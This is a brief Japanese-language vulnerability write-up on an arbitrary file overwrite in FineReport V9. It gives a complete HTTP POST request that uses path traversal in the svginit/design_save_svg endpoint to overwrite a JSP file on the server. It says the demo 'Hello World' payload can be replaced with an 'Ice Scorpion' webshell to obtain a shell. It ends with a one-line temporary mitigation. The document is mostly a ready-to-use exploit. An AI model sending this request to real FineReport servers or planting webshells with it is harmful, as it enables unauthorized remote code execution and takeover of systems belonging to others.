0x00 任意ファイルアップロード脆弱性 [ FineReport V9 ]
0x01 脆弱性の説明
この脆弱性は任意のファイル上書きです. JSP 馬をアップロードするには, 既存の JSP ファイルを見つけて上書きする必要があります. Tomcat が Fanruan を起動した後にデフォルトで存在する JSP ファイルを探します.
0x02 脆弱性の詳細
POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update.jsp HTTP/1.1
Host: x.x.x.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=DE7874FC92F0852C84D38935247D947F; JSESSIONID=A240C26B17628D871BB74B7601482FDE
Connection: close
Content-Type:text/xml;charset=UTF-8
Content-Length: 74
{"__CONTENT__":"<%out.println(\"Hello World!\");%>","__CHARSET__":"UTF-8"}
ペイロードはアイススコーピオンの馬に置き換えられ、シェルを取得できます
0x03 一時的な修正提案
Fanruan システムが使用されているかどうかを確認し、AF custom で webroot/ReportServer パスへのアクセスを同期します。